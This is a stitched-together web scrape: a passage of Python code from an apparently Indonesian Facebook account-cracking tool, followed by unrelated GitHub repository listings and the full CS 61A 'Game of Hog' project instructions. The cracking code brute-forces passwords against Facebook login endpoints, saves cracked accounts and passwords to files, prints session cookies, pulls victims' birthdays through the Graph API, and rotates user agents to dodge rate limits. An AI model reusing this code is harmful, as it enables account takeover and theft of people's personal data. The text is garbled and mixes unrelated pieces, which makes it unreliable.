self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sAHMAR-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sAHMAR-OK%s] %s • %s "%(_H_,_P_,_H_,fl.get("id"),i)) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.api(fl) def mbasic(self,fl): try: for i in fl.get("pw"): log = log_mbasic(fl.get("id"),i,"https://mbasic.facebook.com") if log.get("status")=="cp": try: ke = _req_get_("https://graph.facebook.com/" + fl.get("id") + "?access_token=" + _ahmar_ahmar_("token.txt","r").read()) tt = json.loads(ke.text) ttl = tt["birthday"] m,d,y = ttl.split("/") m = bulan_ttl[m] _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s • %s %s %s "%(_U_,_P_,_U_,fl.get("id"),i,d,m,y)) self.cp.append("%s•%s•%s%s%s"%(fl.get("id"),i,d,m,y)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s•%s%s%s\n"%(fl.get("id"),i,d,m,y)) break except(KeyError, IOError): m = " " d = " " y = " " except:pass _ahmar_cici_("\r%s[%sXSAN-CP%s] %s • %s "%(_U_,_P_,_U_,fl.get("id"),i)) self.cp.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("CP/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break elif log.get("status")=="success": _ahmar_cici_("\r%s[%sXSAN-OK%s] %s • %s • %s "%(_H_,_P_,_H_,fl.get("id"),i,koki(log.get("cookies")))) self.ada.append("%s•%s"%(fl.get("id"),i)) _ahmar_ahmar_("OK/%s.txt"%(tanggal),"a+").write("%s•%s\n"%(fl.get("id"),i)) break else:continue self.ko+=1 _ahmar_cici_("\r%s[%sCrack%s][%s%s/%s%s][%sOK:%s%s][%sCP:%s%s]%s"%(_U_,_P_,_U_,_P_,self.ko,len(self.fl),_U_,_P_,len(self.ada),_U_,_P_,len(self.cp),_U_,_P_), end=' ');sys.stdout.flush() except: self.mbasic(fl) ### Menu Mengecek Hasil Crack def _cek_result_dev_(): _clear_() _my_logo_() _Ahmar_jan_Cici_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__forever__' _ahmar_cici_('%s[ %sCrack Results %s]'%(_U_,_P_,_U_)) _ahmar_cici_('\n%s[%s1%s] %sCheck Results OK'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sChel Results CP'%(_U_,_P_,_U_,_P_)) ch = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) if ch in ['']: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif ch in ['1','01','001','a']: try: okl = os.listdir("OK") _ahmar_cici_('\n%s[%s Crack Results Stored in File OK %s]\n'%(_U_,_P_,_U_)) for file in okl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sINPUT File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat OK/%s'%(files)) ppp = _ahmar_ahmar_("OK/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmae_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) elif ch in ['2','02','002','b']: try: cpl = os.listdir("CP") _ahmar_cici_('\n%s[%s Crack Results Stored in CP Files %s]\n'%(_U_,_P_,_U_)) for file in cpl: _ahmar_cici_('%s[%s•%s] %s%s'%(_U_,_P_,_U_,_P_,file)) _ahmar_cici_('') files = _cici_ahmar_('%s[%s•%s] %sInput File Name : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if files == "": _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) os.system('cat CP/%s'%(files)) ppp = _ahmar_ahmar_("CP/%s"%(files)).read().splitlines() del1 = ("%s"%(files)).replace("-", " ").replace(".txt", "") _ahmar_cici_('\n%s[%s•%s] %sTotal Crack Result Date %s Is %s Account'%(_U_,_P_,_U_,_P_,del1,len(ppp))) except: _ahmar_cici_('%s[%s No Results Found %s]'%(_M_,_P_,_M_)) else: _ahmar_cici_('%s[%s!%s] %sWeong Input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _cici_ahmar_('\n%s[ %sReturn %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Mau Recode Lu Ya? def _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_): _recode_ = '__My_Love__'+_oscylopsce_+_escylipsce_+_ascylapsci_+'__Forever__' if _uscylupsci_ not in _recode_:_ahmar_cici_('%s[%s!%s] %sHey, do you want to recode?'%(_M_,_P_,_M_,_P_)) else:return _menu_dev_(_recode_) ### Menu User Agent def _default_ua_(_Cici_Cantik_Banget_): ua = ua_xiaomi try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() except (KeyError,IOError): _login_dev_(_Cici_Cantik_Banget_) def _ugen_dev_(_Ahmar_jan_Cici_): _var_ugen_(_Ahmar_jan_Cici_) pmu = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _ahmar_cici_('') if pmu in[""]: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['1','01','001','a']: os.system('xdg-_ahmar_ahmar_ https://www.google.com/search?q=My+User+Agent&oq=My+User+Agent&aqs=chrome..69i57j0l3j0i22i30l6.4674j0j1&sourceid=chrome&ie=UTF-8') _cici_ahmar_('%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['2','02','002','b']: _del_() ua = _cici_ahmar_("%s[%s•%s] %sInput User agent : \n\n"%(_U_,_P_,_U_,_P_)) try: ugent = _ahmar_ahmar_('ugent.txt','w') ugent.write(ua) ugent.close() _ahmar_cici_("\n%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) except (KeyError,IOError): _ahmar_cici_("\n%s[ %sFailed to Change User Agent %s]"%(_M_,_P_,_M_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_M_,_P_,_M_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['3','03','003','c']: _ugen_hp_(_Ahmar_jan_Cici_) elif pmu in ['4','04','004','d']: _del_() _ahmar_cici_("%s[ %sUser Agent Deleted Successfully %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['5','05','005','e']: try: ungser = _ahmar_ahmar_('ugent.txt', 'r').read() except (KeyError,IOError): ungser = 'Not found' _ahmar_cici_("%s[%s•%s] %sYour User Agent : \n\n%s%s"%(_U_,_P_,_U_,_P_,_U_,ungser)) _ahmar_cici_("\n%s[ %sThis is your current user agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sRetrun %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) elif pmu in ['0','00','000','f']: _menu_dev_(_Ahmar_jan_Cici_) else: _ahmar_cici_('%s[%s!%s] %sWrong Input BRO'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) def _ugen_hp_(_Ahmar_jan_Cici_): _del_() _shmar_cici_('%s[%s1%s] %sXiaomi'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s2%s] %sNokia'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s3%s] %sAsus'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s4%s] %sHuawei'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s5%s] %sVivo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s6%s] %sOppo'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s7%s] %sSamsung'%(_U_,_P_,_U_,_P_)) _ahmar_cici_('%s[%s8%s] %sWindows'%(_U_,_P_,_U_,_P_)) pc = _cici_ahmar_('%s[%s•%s] %sChoose : '%(_U_,_P_,_U_,_P_)) _dapunta_cici_('') if pc in['']: _dapunta_cici_('%s[%s!%s] %sWrong Input Bro'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) elif pc in ['1','01']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_xiaomi);ugent.close() elif pc in ['2','02']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_nokia);ugent.close() elif pc in ['3','03']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_asus);ugent.close() elif pc in ['4','04']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_huawei);ugent.close() elif pc in ['5','05']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_vivo);ugent.close() elif pc in ['6','06']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_oppo);ugent.close() elif pc in ['7','07']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_samsung);ugent.close() elif pc in ['8','08']: ugent = _ahmar_ahmar_('ugent.txt','w');ugent.write(ua_windows);ugent.close() else: _ahmar_cici_('%s[%s!%s] %sWrong input'%(_M_,_P_,_M_,_P_)) time.sleep(2) _menu_dev_(_Ahmar_jan_Cici_) _ahmar_cici_("%s[ %sSuccessfully Changed User Agent %s]"%(_U_,_P_,_U_)) _cici_ahmar_('\n%s[ %sEnter Click %s]%s'%(_U_,_P_,_U_,_P_)) _menu_dev_(_Ahmar_jan_Cici_) ### Tampilan User Agent def _var_ugen_(_Ahmar_jan_Cici_): _dapunta_cici_("%s[%s1%s] %sBest User Agent"%(_U_,_P_,_U_,_P_)) _Ahmat_cici_("%s[%s2%s] %sChange User Agent %s[%sManual%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s3%s] %sChange User agent %s[%sAdjust HP%s]"%(_U_,_P_,_U_,_P_,_U_,_P_,_U_)) _Ahmar_cici_("%s[%s4%s] %sDelete User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s5%s] %sChek User Agent"%(_U_,_P_,_U_,_P_)) _Ahmar_cici_("%s[%s0%s] %sRetrun"%(_U_,_P_,_U_,_P_)) ### Tampilan Metode def start_method(): _Ahmar_cici_('\n%s[%s1%s] %sMetode Api'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s2%s] %sMetode Mbasic'%(_U_,_P_,_U_,_P_)) ### Tampilan Mulai Crack def started(): _Ahmar_cici_('%s[%s•%s] %sCrack is Running...'%(_U_,_P_,_U_,_P_)) _Ahmar_cici_('%s[%s•%s] %sAccount [OK] Saved To OK/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sAccount [CP] Saved To CP/%s.txt'%(_U_,_P_,_U_,_P_,tanggal)) _Ahmar_cici_('%s[%s•%s] %sUse Flight Mode [5 Seconds Only] Every 5 Minutes\n'%(_U_,_P_,_U_,_P_)) ### Start if __name__=='__main__': os.system('git pull') _clear_() _folder_() _check_recode_(_oscylopsce_,_ascylapsci_,_escylipsce_) # _Ahmar_cici_('%s[%s•%s] %s'%(_U_,_P_,_U_,_P_)) # _Ahmar_cici_('%s[%s!%s] %s'%(_M_,_P_,_M_,_P_))
FallenGaven / AWVS11 Python3之前做系统,要对接AWVS11,写了一个可以python3的调用文档,感兴趣的可以看看
muvatech / Django Blogging SystemThis is blog system created using Django 1.11.4 and Python3
d3nbr0 / AiocarrotAsynchronous framework for working with RabbitMQ
LSD08KM / Fake115Upload Python3No description available
LuckyRyan-web / Dailyfresh Xadmin基于Python3.6+Django1.11+xadmin+Redis+Mysql的天天生鲜商城
deadsnakes / Python3.11 Nightly(experimental) nightly debian packaging of python3.11
whoway2017 / LeetcodeLeetCode题解C++11、Java8、Python3版题解🚀
canwhite / QCBlogFramework用django1.11.1和python3搭建了一个个人博客的框架,MVT里边还没有加入model
idingg / Weverse Live DownloadPython code to download weverse live video on your PC. You need Python3.8+, Chrome, Edge or Firefox browser on Windows 10+, MacOS 12 Monterey, 13 Ventura, Debian 11, Ubuntu 20.04 or 22.04 PC.
flybunctious / The Game Of HogIntroduction In this project, you will develop a simulator and multiple strategies for the dice game Hog. You will need to use control statements and higher-order functions together, as described in Sections 1.2 through 1.6 of Composing Programs. In Hog, two players alternate turns trying to be the first to end a turn with at least 100 total points. On each turn, the current player chooses some number of dice to roll, up to 10. That player's score for the turn is the sum of the dice outcomes. To spice up the game, we will play with some special rules: Pig Out. If any of the dice outcomes is a 1, the current player's score for the turn is 1. Example 1: The current player rolls 7 dice, 5 of which are 1's. They score 1 point for the turn. Example 2: The current player rolls 4 dice, all of which are 3's. Since Pig Out did not occur, they score 12 points for the turn. Free Bacon. A player who chooses to roll zero dice scores one more than the largest digit in the opponent's total score. Example 1: If the opponent has 42 points, the current player gains 1 + max(4, 2) = 5 points by rolling zero dice. Example 2: If the opponent has 48 points, the current player gains 1 + max(4, 8) = 9 points by rolling zero dice. Example 3: If the opponent has 7 points, the current player gains 1 + max(0, 7) = 8 points by rolling zero dice. Swine Swap. After points for the turn are added to the current player's score, if both scores are larger than 1 and either one of the scores is a positive integer multiple of the other, then the two scores are swapped. Example 1: The current player has a total score of 37 and the opponent has 92. The current player rolls two dice that total 9. The opponent's score (92) is exactly twice the player's new total score (46). These scores are swapped! The current player now has 92 points and the opponent has 46. The turn ends. Example 2: The current player has 91 and the opponent has 37. The current player rolls five dice that total 20. The current player has 111, which is 3 times 37, so the scores are swapped. The opponent ends the turn with 111 and wins the game. Download starter files To get started, download all of the project code as a zip archive. You only have to make changes to hog.py. hog.py: A starter implementation of Hog dice.py: Functions for rolling dice hog_gui.py: A graphical user interface for Hog ucb.py: Utility functions for CS 61A ok: CS 61A autograder tests: A directory of tests used by ok images: A directory of images used by hog_gui.py Logistics This is a 2-week project. This is a solo project, so you will complete this project without a partner. You should not share your code with any other students, or copy from anyone else's solutions. Remember that you can earn an additional bonus point by submitting the project at least 24 hours before the deadline. The project is worth 20 points. 18 points are assigned for correctness, and 2 points for the overall composition of your program. You will turn in the following files: hog.py You do not need to modify or turn in any other files to complete the project. To submit the project, run the following command: python3 ok --submit You will be able to view your submissions on the Ok dashboard. For the functions that we ask you to complete, there may be some initial code that we provide. If you would rather not use that code, feel free to delete it and start from scratch. You may also add new function definitions as you see fit. However, please do not modify any other functions. Doing so may result in your code failing our autograder tests. Also, please do not change any function signatures (names, argument order, or number of arguments). Testing Throughout this project, you should be testing the correctness of your code. It is good practice to test often, so that it is easy to isolate any problems. However, you should not be testing too often, to allow yourself time to think through problems. We have provided an autograder called ok to help you with testing your code and tracking your progress. The first time you run the autograder, you will be asked to log in with your Ok account using your web browser. Please do so. Each time you run ok, it will back up your work and progress on our servers. The primary purpose of ok is to test your implementations, but there are two things you should be aware of. First, some of the test cases are locked. To unlock tests, run the following command from your terminal: python3 ok -u This command will start an interactive prompt that looks like: ===================================================================== Assignment: The Game of Hog Ok, version ... ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> Code here ? At the ?, you can type what you expect the output to be. If you are correct, then this test case will be available the next time you run the autograder. The idea is to understand conceptually what your program should do first, before you start writing any code. Once you have unlocked some tests and written some code, you can check the correctness of your program using the tests that you have unlocked: python3 ok Most of the time, you will want to focus on a particular question. Use the -q option as directed in the problems below. We recommend that you submit after you finish each problem. Only your last submission will be graded. It is also useful for us to have more backups of your code in case you run into a submission issue. The tests folder is used to store autograder tests, so do not modify it. You may lose all your unlocking progress if you do. If you need to get a fresh copy, you can download the zip archive and copy it over, but you will need to start unlocking from scratch. If you do not want us to record a backup of your work or information about your progress, use the --local option when invoking ok. With this option, no information will be sent to our course servers. Graphical User Interface A graphical user interface (GUI, for short) is provided for you. At the moment, it doesn't work because you haven't implemented the game logic. Once you complete the play function, you will be able to play a fully interactive version of Hog! In order to render the graphics, make sure you have Tkinter, Python's main graphics library, installed on your computer. Once you've done that, you can run the GUI from your terminal: python3 hog_gui.py Once you complete the project, you can play against the final strategy that you've created! python3 hog_gui.py -f Phase 1: Simulator In the first phase, you will develop a simulator for the game of Hog. Problem 0 (0 pt) The dice.py file represents dice using non-pure zero-argument functions. These functions are non-pure because they may have different return values each time they are called. The documentation of dice.py describes the two different types of dice used in the project: Dice can be fair, meaning that they produce each possible outcome with equal probability. Example: six_sided. For testing functions that use dice, deterministic test dice always cycle through a fixed sequence of values that are passed as arguments to the make_test_dice function. Before we start writing any code, let's understand the make_test_dice function by unlocking its tests. python3 ok -q 00 -u This should display a prompt that looks like this: ===================================================================== Assignment: Project 1: Hog Ok, version v1.5.2 ===================================================================== ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Unlocking tests At each "? ", type what you would expect the output to be. Type exit() to quit --------------------------------------------------------------------- Question 0 > Suite 1 > Case 1 (cases remaining: 1) >>> test_dice = make_test_dice(4, 1, 2) >>> test_dice() ? You should type in what you expect the output to be. To do so, you need to first figure out what test_dice will do, based on the description above. You can exit the unlocker by typing exit() (without quotes). Typing Ctrl-C on Windows to exit out of the unlocker has been known to cause problems, so avoid doing so. Problem 1 (2 pt) Implement the roll_dice function in hog.py. It takes two arguments: a positive integer called num_rolls giving the number of dice to roll and a dice function. It returns the number of points scored by rolling the dice that number of times in a turn: either the sum of the outcomes or 1 (Pig Out). To obtain a single outcome of a dice roll, call dice(). You should call dice() exactly num_rolls times in the body of roll_dice. Remember to call dice() exactly num_rolls times even if Pig Out happens in the middle of rolling. In this way, we correctly simulate rolling all the dice together. Checking Your Work: Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 01 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 01 If the tests don't pass, it's time to debug. You can observe the behavior of your function using Python directly. First, start the Python interpreter and load the hog.py file. python3 -i hog.py Then, you can call your roll_dice function on any number of dice you want, such as 4. >>> roll_dice(4) In most systems, you can evaluate the same expression again by pressing the up arrow or Control-P, then pressing enter or return. You should find that evaluating this call expression gives a different answer each time, since dice rolls are random. The roll_dice function has a default argument value for dice that is a random six-sided dice function. You can also use test dice that fix the outcomes of the dice in advance. For example, rolling twice when you know that the dice will come up 3 and 4 should give a total outcome of 7. >>> fixed_dice = make_test_dice(3, 4) >>> roll_dice(2, fixed_dice) 7 If you find a problem, you need to change your hog.py file, save it, quit Python, start it again, and then start evaluating expressions. Pressing the up arrow should give you access to your previous expressions, even after restarting Python. Once you think that your roll_dice function is correct, run the ok tests again. Tests like these don't prove that your program is exactly correct, but they help you build confidence that this part of your program does what you expect, so that you can trust the abstraction it defines as you proceed. Problem 2 (1 pt) Implement the free_bacon helper function that returns the number of points scored by rolling 0 dice, based on the opponent's current score. You can assume that score is less than 100. For a score less than 10, assume that the first of the two digits is 0. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 02 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 02 You can also test free_bacon interactively by entering python3 -i hog.py in the terminal and then calling free_bacon with various inputs. Problem 3 (1 pt) Implement the take_turn function, which returns the number of points scored for a turn by the current player. Your implementation should call roll_dice when possible. You will need to implement the Free Bacon rule. You can assume that opponent_score is less than 100. Call free_bacon in your implementation of take_turn. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 03 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 03 Problem 4 (1 pt) Implement is_swap, which returns whether or not the scores should be swapped because one is an integer multiple of the other. The is_swap function takes two arguments: the player scores. It returns a boolean value to indicate whether the Swine Swap condition is met. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 04 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 04 Problem 5 (3 pt) Implement the play function, which simulates a full game of Hog. Players alternate turns, each using their respective strategy function (Player 0 uses strategy0, etc.), until one of the players reaches the goal score. When the game ends, play returns the final total scores of both players, with Player 0's score first, and Player 1's score second. Here are some hints: You should use the functions you have already written! You will need to call take_turn with all three arguments. Only call take_turn once per turn. Enforce all the special rules. You can get the number of the other player (either 0 or 1) by calling the provided function other. You can ignore the say argument to the play function for now. You will use it in Phase 2 of the project. A strategy is a function that, given a player's score and their opponent's score, returns how many dice the player wants to roll. A strategy function (such as strategy0 and strategy1) takes two arguments: scores for the current player and opposing player, which both must be non-negative integers. A strategy function returns the number of dice that the current player wants to roll in the turn. Each strategy function should be called only once per turn. Don't worry about the details of implementing strategies yet. You will develop them in Phase 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 05 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 05 The last test for Question 5 is a fuzz test, which checks that your play function works for a large number of different inputs. Failing this test means something is wrong, but you should look at other tests to see where the problem might be. Once you are finished, you will be able to play a graphical version of the game. We have provided a file called hog_gui.py that you can run from the terminal: python3 hog_gui.py If you don't already have Tkinter (Python's graphics library) installed, you'll need to install it first before you can run the GUI. The GUI relies on your implementation, so if you have any bugs in your code, they will be reflected in the GUI. This means you can also use the GUI as a debugging tool; however, it's better to run the tests first. Congratulations! You have finished Phase 1 of this project! Phase 2: Commentary In the second phase, you will implement commentary functions that print remarks about the game, such as, "22 points! That's the biggest gain yet for Player 1." A commentary function takes two arguments, the current score for Player 0 and the current score for Player 1. It returns another commentary function to be called on the next turn. It may also print some output as a side effect of being called. The function say_scores in hog.py is an example of a commentary function. The function announce_lead_changes is an example of a higher-order function that returns a commentary function. def say_scores(score0, score1): """A commentary function that announces the score for each player.""" print("Player 0 now has", score0, "and Player 1 now has", score1) return say_scores def announce_lead_changes(previous_leader=None): """Return a commentary function that announces lead changes. >>> f0 = announce_lead_changes() >>> f1 = f0(5, 0) Player 0 takes the lead by 5 >>> f2 = f1(5, 12) Player 1 takes the lead by 7 >>> f3 = f2(8, 12) >>> f4 = f3(8, 13) >>> f5 = f4(15, 13) Player 0 takes the lead by 2 """ def say(score0, score1): if score0 > score1: leader = 0 elif score1 > score0: leader = 1 else: leader = None if leader != None and leader != previous_leader: print('Player', leader, 'takes the lead by', abs(score0 - score1)) return announce_lead_changes(leader) return say Problem 6 (2 pt) Update your play function so that a commentary function is called at the end of each turn. say(score0, score1) should be called at the end of the first turn. Its return value (another commentary function) should be called at the end of the second turn. Each turn, a new commentary function should be called that is the return value of the previous call to a commentary function. Also implement both, a function that takes two commentary functions (f and g) and returns a new commentary function. This new commentary function returns another commentary function which calls the functions returned by calling f and g, in that order. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 06 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 06 Problem 7 (2 pt) Implement the announce_highest function, which is a higher-order function that returns a commentary function. This commentary function announces whenever a particular player gains more points in a turn than ever before. To compute the gain, it must compare the score from last turn to the score from this turn for the player of interest, which is designated by the who argument. This function must also keep track of the highest gain for the player so far. The way in which announce_highest announces is very specific, and your implementation should match the doctests provided. Notice in particular that if the gain is only 1 point, then the message includes "point" in singular form. If the gain is larger, then the message includes "points" in plural form. Use Ok to test your code: python3 ok -q 07 Hint. The announce_lead_changes function provided to you is an example of how to keep track of information using commentary functions. If you are stuck, first make sure you understand how announce_lead_changes works. When you are done, if play the game again, you will see the commentary. python3 hog_gui.py The commentary in the GUI is generated by passing the following function as the say argument to play. both(announce_highest(0), both(announce_highest(1), announce_lead_changes())) Great work! You just finished Phase 2 of the project! Phase 3: Strategies In the third phase, you will experiment with ways to improve upon the basic strategy of always rolling a fixed number of dice. First, you need to develop some tools to evaluate strategies. Problem 8 (2 pt) Implement the make_averaged function, which is a higher-order function that takes a function fn as an argument. It returns another function that takes the same number of arguments as fn (the function originally passed into make_averaged). This returned function differs from the input function in that it returns the average value of repeatedly calling fn on the same arguments. This function should call fn a total of num_samples times and return the average of the results. To implement this function, you need a new piece of Python syntax! You must write a function that accepts an arbitrary number of arguments, then calls another function using exactly those arguments. Here's how it works. Instead of listing formal parameters for a function, we write *args. To call another function using exactly those arguments, we call it again with *args. For example, >>> def printed(fn): ... def print_and_return(*args): ... result = fn(*args) ... print('Result:', result) ... return result ... return print_and_return >>> printed_pow = printed(pow) >>> printed_pow(2, 8) Result: 256 256 >>> printed_abs = printed(abs) >>> printed_abs(-10) Result: 10 10 Read the docstring for make_averaged carefully to understand how it is meant to work. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 08 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 08 Problem 9 (1 pt) Implement the max_scoring_num_rolls function, which runs an experiment to determine the number of rolls (from 1 to 10) that gives the maximum average score for a turn. Your implementation should use make_averaged and roll_dice. If two numbers of rolls are tied for the maximum average score, return the lower number. For example, if both 3 and 6 achieve a maximum average score, return 3. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 09 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 09 To run this experiment on randomized dice, call run_experiments using the -r option: python3 hog.py -r Running experiments For the remainder of this project, you can change the implementation of run_experiments as you wish. By calling average_win_rate, you can evaluate various Hog strategies. For example, change the first if False: to if True: in order to evaluate always_roll(8) against the baseline strategy of always_roll(4). You should find that it wins slightly more often than it loses, giving a win rate around 0.5. Some of the experiments may take up to a minute to run. You can always reduce the number of samples in make_averaged to speed up experiments. Problem 10 (1 pt) A strategy can take advantage of the Free Bacon rule by rolling 0 when it is most beneficial to do so. Implement bacon_strategy, which returns 0 whenever rolling 0 would give at least margin points and returns num_rolls otherwise. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 10 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 10 Once you have implemented this strategy, change run_experiments to evaluate your new strategy against the baseline. You should find that it wins more than half of the time. Problem 11 (2 pt) A strategy can also take advantage of the Swine Swap rule. The swap_strategy rolls 0 if it would cause a beneficial swap. It also returns 0 if rolling 0 would give at least margin points and would not cause a swap. Otherwise, the strategy rolls num_rolls. Before writing any code, unlock the tests to verify your understanding of the question. python3 ok -q 11 -u Once you are done unlocking, begin implementing your solution. You can check your correctness with: python3 ok -q 11 Once you have implemented this strategy, update run_experiments to evaluate your new strategy against the baseline. You should find that it gives a significant edge over always_roll(4). Optional: Problem 12 (0 pt) Implement final_strategy, which combines these ideas and any other ideas you have to achieve a high win rate against the always_roll(4) strategy. Some suggestions: swap_strategy is a good default strategy to start with. There's no point in scoring more than 100. Check whether you can win by rolling 0, 1 or 2 dice. If you are in the lead, you might take fewer risks. Try to force a beneficial swap. Choose the num_rolls and margin arguments carefully. You can check that your final strategy is valid by running Ok. python3 ok -q 12 You can also check your exact final winrate by running python3 calc.py At this point, run the entire autograder to see if there are any tests that don't pass. python3 ok Once you are satisfied, submit to Ok to complete the project. python3 ok --submit You can also play against your final strategy with the graphical user interface: python3 hog_gui.py -f The GUI will alternate which player is controlled by you. Congratulations, you have reached the end of your first CS 61A project! If you haven't already, relax and enjoy a few games of Hog with a friend.